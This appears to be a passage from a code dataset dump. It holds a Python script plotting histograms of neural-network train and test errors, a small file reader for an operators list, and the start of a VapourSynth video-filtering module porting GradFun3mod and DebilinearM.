'/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp10_conv_tower_mdl/mdl_conv_tower_mdl_{}/meta_data.yml'\nfilenames_other_10 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp10_conv_tower_mdl/mdl_conv_tower_mdl_{}/other_data.yml'\nfiles_nb_10 = 233\n\n\ntrain_errors_10 = get_train_errors(filenames_meta_10,files_nb_10)\ntest_errors_10 = get_test_errors(filenames_meta_10, files_nb_10)\nmin_train_errors_10 = get_min_train_errors(filenames_other_10, files_nb_10)\nmin_test_errors_10 = get_min_test_errors(filenames_other_10, files_nb_10)\ndifferences_10 = get_difference(test_errors_10,train_errors_10)\ndifferences_of_min_10 = get_difference(min_test_errors_10,min_train_errors_10)\n\nfilenames_meta_9 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp9_conv_tower_mdl/mdl_conv_tower_mdl_{}/meta_data.yml'\nfilenames_other_9 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp9_conv_tower_mdl/mdl_conv_tower_mdl_{}/other_data.yml'\nfiles_nb_9 = 144\n\ntrain_errors_9 = get_train_errors(filenames_meta_9,files_nb_9)\ntest_errors_9 = get_test_errors(filenames_meta_9, files_nb_9)\nmin_train_errors_9 = get_min_train_errors(filenames_other_9, files_nb_9)\nmin_test_errors_9 = get_min_test_errors(filenames_other_9, files_nb_9)\ndifferences_9 = get_difference(test_errors_9,train_errors_9)\ndifferences_of_min_9 = get_difference(min_test_errors_9,min_train_errors_9)\n\n\n#Grp3 and Grp12, Grp2 are random:\nfilenames_meta_3 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp3_ramdon_mdl/mdl_random_mdl_{}/meta_data.yml'\nfilenames_other_3 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp3_ramdon_mdl/mdl_random_mdl_{}/other_data.yml'\nfiles_nb_3 = 103\n\ntrain_errors_3 = get_train_errors(filenames_meta_3,files_nb_3)\ntest_errors_3 = get_test_errors(filenames_meta_3, files_nb_3)\nmin_train_errors_3 = get_min_train_errors(filenames_other_3, files_nb_3)\nmin_test_errors_3 = get_min_test_errors(filenames_other_3, files_nb_3)\ndifferences_3 = get_difference(test_errors_3,train_errors_3)\ndifferences_of_min_3 = get_difference(min_test_errors_3,min_train_errors_3)\n\nfilenames_meta_12 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp12_ramdon_mdl/mdl_random_mdl_{}/meta_data.yml'\nfilenames_other_12 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp12_ramdon_mdl/mdl_random_mdl_{}/other_data.yml'\nfiles_nb_12 = 107\n\ntrain_errors_12 = get_train_errors(filenames_meta_12,files_nb_12)\ntest_errors_12 = get_test_errors(filenames_meta_12, files_nb_12)\nmin_train_errors_12 = get_min_train_errors(filenames_other_12, files_nb_12)\nmin_test_errors_12 = get_min_test_errors(filenames_other_12, files_nb_12)\ndifferences_12 = get_difference(test_errors_12,train_errors_12)\ndifferences_of_min_12 = get_difference(min_test_errors_12,min_train_errors_12)\n\nfilenames_meta_2 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp2_ramdon_mdl_Brando2/mdl_random_mdl_{}/meta_data.yml'\nfilenames_other_2 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp2_ramdon_mdl_Brando2/mdl_random_mdl_{}/other_data.yml'\nfiles_nb_2 = 382\n\ntrain_errors_2 = get_train_errors(filenames_meta_2,files_nb_2)\ntest_errors_2 = get_test_errors(filenames_meta_2, files_nb_2)\nmin_train_errors_2 = get_min_train_errors(filenames_other_2, files_nb_2)\nmin_test_errors_2 = get_min_test_errors(filenames_other_2, files_nb_2)\ndifferences_2 = get_difference(test_errors_2,train_errors_2)\ndifferences_of_min_2 = get_difference(min_test_errors_2,min_train_errors_2)\n\n\n\n#Grp4,5,7,8 11 are tower one.\nfilenames_meta_4 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp4_tower_mdl/mdl_tower_mdl_{}/meta_data.yml'\nfilenames_other_4 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp4_tower_mdl/mdl_tower_mdl_{}/other_data.yml'\nfiles_nb_4 = 58\n\ntrain_errors_4 = get_train_errors(filenames_meta_4,files_nb_4)\ntest_errors_4 = get_test_errors(filenames_meta_4, files_nb_4)\nmin_train_errors_4 = get_min_train_errors(filenames_other_4, files_nb_4)\nmin_test_errors_4 = get_min_test_errors(filenames_other_4, files_nb_4)\ndifferences_4 = get_difference(test_errors_4,train_errors_4)\ndifferences_of_min_4 = get_difference(min_test_errors_4,min_train_errors_4)\n\nfilenames_meta_5 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp5_tower_fixed_mdl/mdl_tower_fix_acti_mdl_{}/meta_data.yml'\nfilenames_other_5 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp5_tower_fixed_mdl/mdl_tower_fix_acti_mdl_{}/other_data.yml'\nfiles_nb_5 = 362\n\ntrain_errors_5 = get_train_errors(filenames_meta_5,files_nb_5)\ntest_errors_5 = get_test_errors(filenames_meta_5, files_nb_5)\nmin_train_errors_5 = get_min_train_errors(filenames_other_5, files_nb_5)\nmin_test_errors_5 = get_min_test_errors(filenames_other_5, files_nb_5)\ndifferences_5 = get_difference(test_errors_5,train_errors_5)\ndifferences_of_min_5 = get_difference(min_test_errors_5,min_train_errors_5)\n\n\nfilenames_meta_7 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp7_tower_mdl/mdl_tower_mdl_{}/meta_data.yml'\nfilenames_other_7 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp7_tower_mdl/mdl_tower_mdl_{}/other_data.yml'\nfiles_nb_7 = 37\n\ntrain_errors_7 = get_train_errors(filenames_meta_7,files_nb_7)\ntest_errors_7 = get_test_errors(filenames_meta_7, files_nb_7)\nmin_train_errors_7 = get_min_train_errors(filenames_other_7, files_nb_7)\nmin_test_errors_7 = get_min_test_errors(filenames_other_7, files_nb_7)\ndifferences_7 = get_difference(test_errors_7,train_errors_7)\ndifferences_of_min_7 = get_difference(min_test_errors_7,min_train_errors_7)\n\nfilenames_meta_8 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp8_tower_mdl/mdl_tower_mdl_{}/meta_data.yml'\nfilenames_other_8 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp8_tower_mdl/mdl_tower_mdl_{}/other_data.yml'\nfiles_nb_8 = 258\n\ntrain_errors_8 = get_train_errors(filenames_meta_8,files_nb_8)\ntest_errors_8 = get_test_errors(filenames_meta_8, files_nb_8)\nmin_train_errors_8 = get_min_train_errors(filenames_other_8, files_nb_8)\nmin_test_errors_8 = get_min_test_errors(filenames_other_8, files_nb_8)\ndifferences_8 = get_difference(test_errors_8,train_errors_8)\ndifferences_of_min_8 = get_difference(min_test_errors_8,min_train_errors_8)\n\nfilenames_meta_11 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp11_tower_mdl/mdl_tower_mdl_{}/meta_data.yml'\nfilenames_other_11 = '/Users/pangda/predicting_generalization/main_full_auto_ml/data/Grp11_tower_mdl/mdl_tower_mdl_{}/other_data.yml'\nfiles_nb_11 = 406\n\n\ntrain_errors_11 = get_train_errors(filenames_meta_11,files_nb_11)\ntest_errors_11 = get_test_errors(filenames_meta_11, files_nb_11)\nmin_train_errors_11 = get_min_train_errors(filenames_other_11, files_nb_11)\nmin_test_errors_11 = get_min_test_errors(filenames_other_11, files_nb_11)\ndifferences_11 = get_difference(test_errors_11,train_errors_11)\ndifferences_of_min_11 = get_difference(min_test_errors_11,min_train_errors_11)\n\n\n'''\nplot the histogram\n'''\n# train_errors_conv_tower = train_errors_10 + train_errors_9\n# test_errors_conv_tower = test_errors_10 + test_errors_9\n# min_train_errors_conv_tower = min_train_errors_10 + min_train_errors_9\n# min_test_errors_conv_tower = min_test_errors_10 + min_test_errors_9\n# differences_conv_tower = differences_10 + differences_9\n# differences_of_min_conv_tower = differences_of_min_10 + differences_of_min_9\n\n# train_errors_random = train_errors_3 + train_errors_12 + train_errors_2\n# test_errors_random = test_errors_3 + test_errors_12 + test_errors_2\n# min_train_errors_random = min_train_errors_3 + min_train_errors_12+ min_train_errors_2\n# min_test_errors_random = min_test_errors_3 + min_test_errors_12 + min_test_errors_2\n# differences_random = differences_3 + differences_12 + differences_2\n# differences_of_min_random = differences_of_min_3 + differences_of_min_12 +differences_of_min_2\n\n# to_plot = [train_errors_conv_tower,test_errors_conv_tower,min_train_errors_conv_tower,min_test_errors_conv_tower,differences_conv_tower,differences_of_min_conv_tower]\n# to_plot_name = ['train_errors_conv_tower','test_errors_conv_tower','min_train_errors_conv_tower','min_test_errors_conv_tower','differences_conv_tower','differences_of_min_conv_tower']\n\n# to_plot = [train_errors_random,test_errors_random,min_train_errors_random,min_test_errors_random,differences_random,differences_of_min_random]\n# to_plot_name = ['train_errors_random','test_errors_random','min_train_errors_random','min_test_errors_random','differences_random','differences_of_min_random']\n\n# train_errors_tower = train_errors_4 + train_errors_5 +train_errors_7 + train_errors_8 +train_errors_11\n# test_errors_tower = test_errors_4 + test_errors_5 + test_errors_7 + test_errors_8+ test_errors_11\n# min_train_errors_tower = min_train_errors_4 + min_train_errors_5+ min_train_errors_7+ min_train_errors_8+ min_train_errors_11\n# min_test_errors_tower = min_test_errors_4 + min_test_errors_5+ min_test_errors_7+ min_test_errors_8+ min_test_errors_11\n# differences_tower = differences_4 + differences_5 +differences_7+differences_8 +differences_11\n# differences_of_min_tower = differences_of_min_4 + differences_of_min_5 + differences_of_min_7+ differences_of_min_8+ differences_of_min_11\n\n# to_plot = [train_errors_tower,test_errors_tower,min_train_errors_tower,min_test_errors_tower,differences_tower,differences_of_min_tower]\n# to_plot_name = ['train_errors_tower','test_errors_tower','min_train_errors_tower','min_test_errors_tower','differences_tower','differences_of_min_tower']\n\ntrain_errors_Total = train_errors_3 + train_errors_12 + train_errors_2 +train_errors_4 + train_errors_5 +train_errors_7 + train_errors_8 +train_errors_11 + train_errors_10 + train_errors_9\ntest_errors_Total = test_errors_3 + test_errors_12 + test_errors_2 +test_errors_4 + test_errors_5 + test_errors_7 + test_errors_8+ test_errors_11 +test_errors_10 + test_errors_9\nmin_train_errors_Total = min_train_errors_3 + min_train_errors_12+ min_train_errors_2 + min_train_errors_4 + min_train_errors_5+ min_train_errors_7+ min_train_errors_8+ min_train_errors_11 + min_train_errors_10 + min_train_errors_9\nmin_test_errors_Total = min_test_errors_3 + min_test_errors_12 + min_test_errors_2+ min_test_errors_4 + min_test_errors_5+ min_test_errors_7+ min_test_errors_8+ min_test_errors_11 + min_test_errors_10 + min_test_errors_9\ndifferences_Total = differences_3 + differences_12 + differences_2+differences_4 + differences_5 +differences_7+differences_8 +differences_11 +differences_10 + differences_9\ndifferences_of_min_Total = differences_of_min_3 + differences_of_min_12 +differences_of_min_2 +differences_of_min_4 + differences_of_min_5 + differences_of_min_7+ differences_of_min_8+ differences_of_min_11 +differences_of_min_10 + differences_of_min_9\n\nto_plot = [train_errors_Total,test_errors_Total,min_train_errors_Total,min_test_errors_Total,differences_Total,differences_of_min_Total]\nto_plot_name = ['train_errors_Total','test_errors_Total','min_train_errors_Total','min_test_errors_Total','differences_Total','differences_of_min_Total']\n#Grp4,5,7,8 11 are tower one.\nfor i, name in zip(to_plot,to_plot_name):\n plt.hist(i, bins = 200)\n plt.ylabel('Frequency')\n title = name\n plt.xlabel(title)\n plt.title(title)\n plt.savefig(f\"/Users/pangda/predicting_generalization/main_full_auto_ml/data/ploting/{title}.png\")\n plt.close()\n # plt.show()\n\n\n\n'''\nplot the performace of one single data point\n'''\n\n# epochs_list = [i+1 for i in range(479)] #epoch list\n# # print(epochs_list)\n# plt.plot(epochs_list, train_errors, 'b')\n# plt.plot(epochs_list, test_errors, 'r')\n# plt.xlabel('Epochs')\n# plt.ylabel('Errors')\n# title = 'random_grp2_6'\n# plt.title(title)\n# plt.show()\n# plt.savefig(f'/Users/pangda/predicting_generalization/main_full_auto_ml/data/ploting/{title}.png')\n# plt.clf() #clears canvas for new plot\n","sub_path":"cs446-project-fa2019-master/automl/utils/utils_plot.py","file_name":"utils_plot.py","file_ext":"py","file_size_in_byte":13817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"577030958","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 9 13:35:35 2019\r\n\r\n@author: user\r\n\"\"\"\r\n\r\n\r\ndef operator():\r\n f = open('configurations\\operators.txt','r')\r\n message = f.read()\r\n user = message.split('\\n')\r\n return user\r\n \r\noperator()","sub_path":"operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"174362921","text":"import vapoursynth as vs\nimport re\nfrom functools import partial\n\n# Small collection of VapourSynth functions I used at least once.\n# Most are simple wrappers or ports of AviSynth functions.\n\n# Included functions:\n#\n# GradFun3mod\n# DescaleM (DebilinearM, DebicubicM etc.)\n# Downscale444\n# JIVTC\n# OverlayInter\n# AutoDeblock\n# ReplaceFrames (ReplaceFramesSimple)\n# maa\n# TemporalDegrain\n# DescaleAA\n# InsertSign\n\n# To use all included functions, you need to have\n# the following Python scripts installed:\n#\n# havsfunc: https://github.com/HomeOfVapourSynthEvolution/havsfunc\n# mvsfunc: https://github.com/HomeOfVapourSynthEvolution/mvsfunc\n# muvsfunc: https://github.com/WolframRhodium/muvsfunc\n# nnedi3_rpow2: https://gist.github.com/4re/342624c9e1a144a696c6\n\n\ncore = vs.core\n\n\n\"\"\"\nVapourSynth port of Gebbi's GradFun3mod\n\nBased on Muonium's GradFun3 port:\nhttps://github.com/WolframRhodium/muvsfunc\n\nIf you don't use any of the newly added arguments\nit will behave just like unmodified GradFun3.\n\nDifferences:\n\n - added smode=5 that uses a bilateral filter on the GPU (CUDA)\n output should be very similar to smode=2\n - fixed the strength of the bilateral filter when using \n smode=2 to match the AviSynth version\n - changed argument lsb to bits (default is input bitdepth)\n - case of the resizer doesn't matter anymore\n - every resizer supported by fmtconv.resample can be specified\n - yuv444 can now be used with any output resolution\n - removed fh and fv arguments for all resizers\n\nRequirements:\n\n - muvsfunc https://github.com/WolframRhodium/muvsfunc\n - havsfunc https://github.com/HomeOfVapourSynthEvolution/havsfunc\n - mvsfunc https://github.com/HomeOfVapourSynthEvolution/mvsfunc\n - Bilateral https://github.com/HomeOfVapourSynthEvolution/VapourSynth-Bilateral\n - BilateralGPU (optional, needs OpenCV 3.2 with CUDA module) https://github.com/WolframRhodium/VapourSynth-BilateralGPU\n - fmtconv https://github.com/EleonoreMizo/fmtconv\n - Descale (optional) https://github.com/Frechdachs/vapoursynth-descale\n - dfttest https://github.com/HomeOfVapourSynthEvolution/VapourSynth-DFTTest\n - nnedi3 https://github.com/dubhater/vapoursynth-nnedi3\n - nnedi3_rpow2 https://gist.github.com/4re/342624c9e1a144a696c6\n\nOriginal header:\n\n##################################################################################################################\n#\n# High bitdepth tools for Avisynth - GradFun3mod r6\n# based on Dither v1.27.2\n# Author: Firesledge, slightly modified by Gebbi\n#\n# What?\n# - This is a slightly modified version of the original GradFun3.\n# - It combines the usual color banding removal stuff with resizers during the process\n# for sexier results (less detail loss, especially for downscales of cartoons).\n# - This is a starter script, not everything is covered through parameters. Modify it to your needs.\n#\n# Requirements (in addition to the Dither requirements):\n# - AviSynth 2.6.x\n# - Debilinear, Debicubic, DebilinearM\n# - NNEDI3 + nnedi3_resize16\n#\n# Changes from the original GradFun3:\n# - yuv444 = true\n# (4:2:0 -> 4:4:4 colorspace conversion, needs 1920x1080 input)\n# - resizer = [ \"none\", \"Debilinear\", \"DebilinearM\", \"Debicubic\", \"DebicubicM\", \"Spline16\",\n# \"Spline36\", \"Spline64\", \"lineart_rpow2\", \"lineart_rpow2_bicubic\" ] \n# (use it only for downscales)\n# NOTE: As of r2 Debicubic doesn't have 16-bit precision, so a Y (luma) plane fix by torch is used here,\n# more info: https://mechaweaponsvidya.wordpress.com/2015/07/07/a-precise-debicubic/\n# Without yuv444=true Dither_resize16 is used with an inverse bicubic kernel.\n# - w = 1280, h = 720\n# (output width & height for the resizers; or production resolution for resizer=\"lineart_rpow2\")\n# - smode = 4\n# (the old GradFun3mod behaviour for legacy reasons; based on smode = 1 (dfttest);\n# not useful anymore in most cases, use smode = 2 instead (less detail loss))\n# - deb = true\n# (legacy parameter; same as resizer = \"DebilinearM\")\n#\n# Usage examples:\n# - Source is bilinear 720p->1080p upscale (BD) with 1080p credits overlayed,\n# revert the upscale without fucking up the credits:\n# lwlibavvideosource(\"lol.m2ts\")\n# GradFun3mod(smode=1, yuv444=true, resizer=\"DebilinearM\")\n#\n# - same as above, but bicubic Catmull-Rom upscale (outlines are kind of \"blocky\" and oversharped):\n# GradFun3mod(smode=1, yuv444=true, resizer=\"DebicubicM\", b=0, c=1)\n# (you may try any value between 0 and 0.2 for b, and between 0.7 and 1 for c)\n#\n# - You just want to get rid off the banding without changing the resolution:\n# GradFun3(smode=2)\n#\n# - Source is 1080p production (BD), downscale to 720p:\n# GradFun3mod(smode=2, yuv444=true, resizer=\"Spline36\")\n#\n# - Source is a HDTV transportstream (or CR or whatever), downscale to 720p:\n# GradFun3mod(smode=2, resizer=\"Spline36\")\n#\n# - Source is anime, 720p->1080p upscale, keep the resolution\n# but with smoother lineart instead of bilinear upscaled shit:\n# GradFun3mod(smode=2, resizer=\"lineart_rpow2\")\n# This won't actually resize the video but instead mask the lineart and re-upscale it using\n# nnedi3_rpow2 which often results in much better looking lineart (script mostly by Daiz).\n#\n# Note: Those examples don't include parameters like thr, radius, elast, mode, ampo, ampn, staticnoise.\n# You probably don't want to use the default values.\n# For 16-bit output use:\n# GradFun3mod(lsb=true).Dither_out()\n#\n# What's the production resolution of my korean cartoon?\n# - Use your eyes combined with Debilinear(1280,720) - if it looks like oversharped shit,\n# it was probably produced in a higher resolution.\n# - Use Debilinear(1280,720).BilinearResize(1920,1080) for detail loss search.\n# - Alternatively you can lookup the (estimated) production resolution at\n# http://anibin.blogspot.com (but don't blindly trust those results)\n#\n# This program is free software. It comes without any warranty, to\n# the extent permitted by applicable law. You can redistribute it\n# and/or modify it under the terms of the Do What The Fuck You Want\n# To Public License, Version 2, as published by Sam Hocevar. See\n# http://sam.zoy.org/wtfpl/COPYING for more details.\n#\n##################################################################################################################\n\n\"\"\"\ndef GradFun3(src, thr=None, radius=None, elast=None, mask=None, mode=None, ampo=None,\n ampn=None, pat=None, dyn=None, staticnoise=None, smode=None, thr_det=None,\n debug=None, thrc=None, radiusc=None, elastc=None, planes=None, ref=None,\n yuv444=None, w=None, h=None, resizer=None, b=None, c=None, bits=None):\n\n try:\n import mvsfunc as mvf\n except ImportError:\n raise ImportError('GradFun3: mvsfunc not found. Download it here: https://github.com/HomeOfVapourSynthEvolution/mvsfunc')\n try:\n import muvsfunc as muf\n except ImportError:\n raise ImportError('GradFun3: muvsfunc not found. Download it here: https://github.com/WolframRhodium/muvsfunc')\n\n def smooth_mod(src_16, ref_16, smode, radius, thr, elast, planes):\n if smode == 0:\n return muf._GF3_smoothgrad_multistage(src_16, ref_16, radius, thr, elast, planes)\n elif smode == 1:\n return muf._GF3_dfttest(src_16, ref_16, radius, thr, elast, planes)\n elif smode == 2:\n return bilateral(src_16, ref_16, radius, thr, elast, planes)\n elif smode == 3:\n return muf._GF3_smoothgrad_multistage_3(src_16, radius, thr, elast, planes)\n elif smode == 4:\n return dfttest_mod(src_16, ref_16, radius, thr, elast, planes)\n elif smode == 5:\n return bilateral_gpu(src_16, ref_16, radius, thr, elast, planes)\n else:\n raise ValueError(funcname + ': wrong smode value!')\n\n def dfttest_mod(src, ref, radius, thr, elast, planes):\n hrad = max(radius * 3 // 4, 1)\n last = core.dfttest.DFTTest(src, sigma=thr * 12, sbsize=hrad * 4,\n sosize=hrad * 3, tbsize=1, planes=planes)\n last = mvf.LimitFilter(last, ref, thr=thr, elast=elast, planes=planes)\n return last\n\n def bilateral(src, ref, radius, thr, elast, planes):\n thr_1 = max(thr * 4.5, 1.25)\n thr_2 = max(thr * 9, 5.0)\n r4 = max(radius * 4 / 3, 4.0)\n r2 = max(radius * 2 / 3, 3.0)\n r1 = max(radius * 1 / 3, 2.0)\n last = src\n last = core.bilateral.Bilateral(last, ref=ref, sigmaS=r4 / 2, sigmaR=thr_1 / 255,\n planes=planes, algorithm=0)\n # NOTE: I get much better results if I just call Bilateral once\n #last = core.bilateral.Bilateral(last, ref=ref, sigmaS=r2 / 2, sigmaR=thr_2 / 255,\n # planes=planes, algorithm=0)\n #last = core.bilateral.Bilateral(last, ref=ref, sigmaS=r1 / 2, sigmaR=thr_2 / 255,\n # planes=planes, algorithm=0)\n last = mvf.LimitFilter(last, src, thr=thr, elast=elast, planes=planes)\n return last\n\n def bilateral_gpu(src, ref, radius, thr, elast, planes):\n t = max(thr * 4.5, 1.25)\n r = max(radius * 4 / 3, 4.0)\n last = core.bilateralgpu.Bilateral(src, sigma_spatial=r / 2, sigma_color=t)\n last = mvf.LimitFilter(last, ref, thr=thr, elast=elast, planes=planes)\n return last\n\n funcname = 'GradFun3'\n\n # Type checking\n kwargsdict = {'src': [src, (vs.VideoNode,)], 'thr': [thr, (int, float)], 'radius': [radius, (int,)],\n 'elast': [elast, (int, float)], 'mask': [mask, (int,)], 'mode': [mode, (int,)],\n 'ampo': [ampo, (int, float)], 'ampn': [ampn, (int, float)], 'pat': [pat, (int,)],\n 'dyn': [dyn, (bool,)], 'staticnoise': [staticnoise, (bool,)], 'smode': [smode, (int,)],\n 'thr_det': [thr_det, (int, float)], 'debug': [debug, (bool, int)], 'thrc': [thrc, (int, float)],\n 'radiusc': [radiusc, (int,)], 'elastc': [elastc, (int, float)], 'planes': [planes, (int, list)],\n 'ref': [ref, (vs.VideoNode,)], 'yuv444': [yuv444, (bool,)], 'w': [w, (int,)], 'h': [h, (int,)],\n 'resizer': [resizer, (str,)], 'b': [b, (int, float)], 'c': [c, (int, float)], 'bits': [bits, (int,)]}\n\n for k, v in kwargsdict.items():\n if v[0] is not None and not isinstance(v[0], v[1]):\n raise TypeError('{funcname}: \"{variable}\" must be {types}!'\n .format(funcname=funcname, variable=k, types=' or '.join([TYPEDICT[t] for t in v[1]])))\n\n # Set defaults\n if smode is None:\n smode = 2\n if thr is None:\n thr = 0.35\n if radius is None:\n radius = 12 if smode not in [0, 3] else 9\n if elast is None:\n elast = 3.0\n if mask is None:\n mask = 2\n if thr_det is None:\n thr_det = 2 + round(max(thr - 0.35, 0) / 0.3)\n if debug is None:\n debug = False\n if thrc is None:\n thrc = thr\n if radiusc is None:\n radiusc = radius\n if elastc is None:\n elastc = elast\n if planes is None:\n planes = list(range(src.format.num_planes))\n if ref is None:\n ref = src\n if yuv444 is None:\n yuv444 = False\n if w is None:\n w = 1280\n if h is None:\n h = 720\n if resizer is None:\n resizer = ''\n if yuv444 and not resizer:\n resizer = 'spline36'\n if b is None:\n b = 1/3\n if c is None:\n c = 1/3\n if bits is None:\n bits = src.format.bits_per_sample\n\n # Value checking\n if src.format.color_family not in [vs.YUV, vs.GRAY]:\n raise TypeError(funcname + ': \"src\" must be YUV or GRAY color family!')\n if ref.format.color_family not in [vs.YUV, vs.GRAY]:\n raise TypeError(funcname + ': \"ref\" must be YUV or GRAY color family!')\n if thr < 0.1 or thr > 10.0:\n raise ValueError(funcname + ': \"thr\" must be in [0.1, 10.0]!')\n if thrc < 0.1 or thrc > 10.0:\n raise ValueError(funcname + ': \"thrc\" must be in [0.1, 10.0]!')\n if radius <= 0:\n raise ValueError(funcname + ': \"radius\" must be positive.')\n if radiusc <= 0:\n raise ValueError(funcname + ': \"radiusc\" must be positive.')\n if elast < 1:\n raise ValueError(funcname + ': Valid range of \"elast\" is [1, +inf)!')\n if elastc < 1:\n raise ValueError(funcname + ': Valid range of \"elastc\" is [1, +inf)!')\n if smode not in [0, 1, 2, 3, 4, 5]:\n raise ValueError(funcname + ': \"smode\" must be in [0, 1, 2, 3, 4, 5]!')\n if smode in [0, 3]:\n if radius not in list(range(2, 10)):\n raise ValueError(funcname + ': \"radius\" must be in 2-9 for smode=0 or 3 !')\n if radiusc not in list(range(2, 10)):\n raise ValueError(funcname + ': \"radiusc\" must be in 2-9 for smode=0 or 3 !')\n elif smode in [1, 4]:\n if radius not in list(range(1, 129)):\n raise ValueError(funcname + ': \"radius\" must be in 1-128 for smode=1 or smode=4 !')\n if radiusc not in list(range(1, 129)):\n raise ValueError(funcname + ': \"radiusc\" must be in 1-128 for smode=1 or smode=4 !')\n if thr_det <= 0.0:\n raise ValueError(funcname + ': \"thr_det\" must be positive!')\n\n ow = src.width\n oh = src.height\n\n src_16 = core.fmtc.bitdepth(src, bits=16, planes=planes) if src.format.bits_per_sample < 16 else src\n src_8 = core.fmtc.bitdepth(src, bits=8, dmode=1, planes=[0]) if src.format.bits_per_sample != 8 else src\n ref_16 = core.fmtc.bitdepth(ref, bits=16, planes=planes) if ref.format.bits_per_sample < 16 else ref\n\n # Do lineart smoothing first for sharper results\n if resizer.lower() == 'lineart_rpow2':\n src_16 = ProtectedDebiXAA(src_16, w, h, bicubic=False)\n elif resizer.lower() == 'lineart_rpow2_bicubic':\n src_16 = ProtectedDebiXAA(src_16, w, h, bicubic=True, b=b, c=c)\n\n # Main debanding\n chroma_flag = (thrc != thr or radiusc != radius or\n elastc != elast) and 0 in planes and (1 in planes or 2 in planes)\n\n if chroma_flag:\n planes2 = [0] if 0 in planes else []\n else:\n planes2 = planes\n\n if not planes2:\n raise ValueError(funcname + ': no plane is processed')\n\n flt_y = smooth_mod(src_16, ref_16, smode, radius, thr, elast, planes2)\n if chroma_flag:\n flt_c = smooth_mod(src_16, ref_16, smode, radiusc, thrc, elastc, [x for x in planes if x != 0])\n flt = core.std.ShufflePlanes([flt_y,flt_c], [0,1,2], src.format.color_family)\n else:\n flt = flt_y\n\n # Edge/detail mask\n td_lo = max(thr_det * 0.75, 1.0)\n td_hi = max(thr_det, 1.0)\n mexpr = 'x {tl} - {th} {tl} - / 255 *'.format(tl=td_lo - 0.0001, th=td_hi + 0.0001)\n\n if mask > 0:\n dmask = mvf.GetPlane(src_8, 0)\n dmask = muf._Build_gf3_range_mask(dmask, mask)\n dmask = core.std.Expr([dmask], [mexpr])\n dmask = core.rgvs.RemoveGrain(dmask, [22])\n if mask > 1:\n dmask = core.std.Convolution(dmask, matrix=[1,2,1,2,4,2,1,2,1])\n if mask > 2:\n dmask = core.std.Convolution(dmask, matrix=[1,1,1,1,1,1,1,1,1])\n dmask = core.fmtc.bitdepth(dmask, bits=16)\n res_16 = core.std.MaskedMerge(flt, src_16, dmask, planes=planes, first_plane=True)\n else:\n res_16 = flt\n\n # Resizing / colorspace conversion (GradFun3mod)\n res_16_y = core.std.ShufflePlanes(res_16, planes=0, colorfamily=vs.GRAY)\n if resizer.lower() == 'debilinear':\n rkernel = Resize(res_16_y if yuv444 else res_16, w, h, kernel='bilinear', invks=True)\n elif resizer.lower() == 'debicubic':\n rkernel = Resize(res_16_y if yuv444 else res_16, w, h, kernel='bicubic', a1=b, a2=c, invks=True)\n elif resizer.lower() == 'debilinearm':\n rkernel = DebilinearM(res_16_y if yuv444 else res_16, w, h, chroma=not yuv444)\n elif resizer.lower() == 'debicubicm':\n rkernel = DebicubicM(res_16_y if yuv444 else res_16, w, h, b=b, c=c, chroma=not yuv444)\n elif resizer.lower() in ('lineart_rpow2', 'lineart_rpow2_bicubic'):\n if yuv444:\n rkernel = Resize(res_16_y, w, h, kernel='spline36')\n else:\n rkernel = res_16\n elif not resizer:\n rkernel = res_16\n else:\n rkernel = Resize(res_16_y if yuv444 else res_16, w, h, kernel=resizer.lower())\n\n if yuv444:\n ly = rkernel\n lu = core.std.ShufflePlanes(res_16, planes=1, colorfamily=vs.GRAY)\n lv = core.std.ShufflePlanes(res_16, planes=2, colorfamily=vs.GRAY)\n lu = Resize(lu, w, h, kernel='spline16', sx=0.25)\n lv = Resize(lv, w, h, kernel='spline16', sx=0.25)\n rkernel = core.std.ShufflePlanes([ly,lu,lv], planes=[0,0,0], colorfamily=vs.YUV)\n res_16 = rkernel\n\n # Dithering\n result = res_16 if bits == 16 else core.fmtc.bitdepth(res_16, bits=bits, planes=planes, dmode=mode, ampo=ampo,\n ampn=ampn, dyn=dyn, staticnoise=staticnoise, patsize=pat)\n\n if debug:\n last = dmask\n if bits != 16:\n last = core.fmtc.bitdepth(last, bits=bits)\n else:\n last = result\n return last\n\n\n# GradFun3 alias\nGradFun3mod = GradFun3\n\n# GradFun3 alias\ngf3 = GradFun3\n\n\n\"\"\"\nVapourSynth port of DebilinearM\n\nCurrently only YUV420 and YUV422 input makes sense\n\nDifferences:\n\n - changed the cubic argument to descale_kernel,\n so that this function is not limited to bilinear or bicubic\n - chroma is never scaled with an inverted kernel\n - added yuv444 argument to convert to yuv444\n - added arguments to fine tune the resizers\n\nUsage:\n\n It is recommended to use the function alias for the desired kernel:\n\n DebilinearM(clip, 1280, 720)\n DebicubicM(clip, 1280, 720, b=0, c=0.5)\n DelanczosM(clip, 1280, 720, taps=3)\n Despline16M(clip, 1280, 720)\n Despline36M(clip, 1280, 720)\n\nOriginal header:\n\nDebilinearM is a wrapper function for the Debilinear and Debicubic plugins that masks parts of the frame that aren't upscaled,\nsuch as text overlays, and uses a regular resize kernel to downscale those areas. It works by downscaling the input\nclip to the target resolution with Debilinear or Debicubic, upscaling it again, comparing it to the original clip,\nand masking pixels that have a difference greater than the specified threshold.\n\n\"\"\"\ndef DescaleM(src, w, h, thr=None, expand=None, 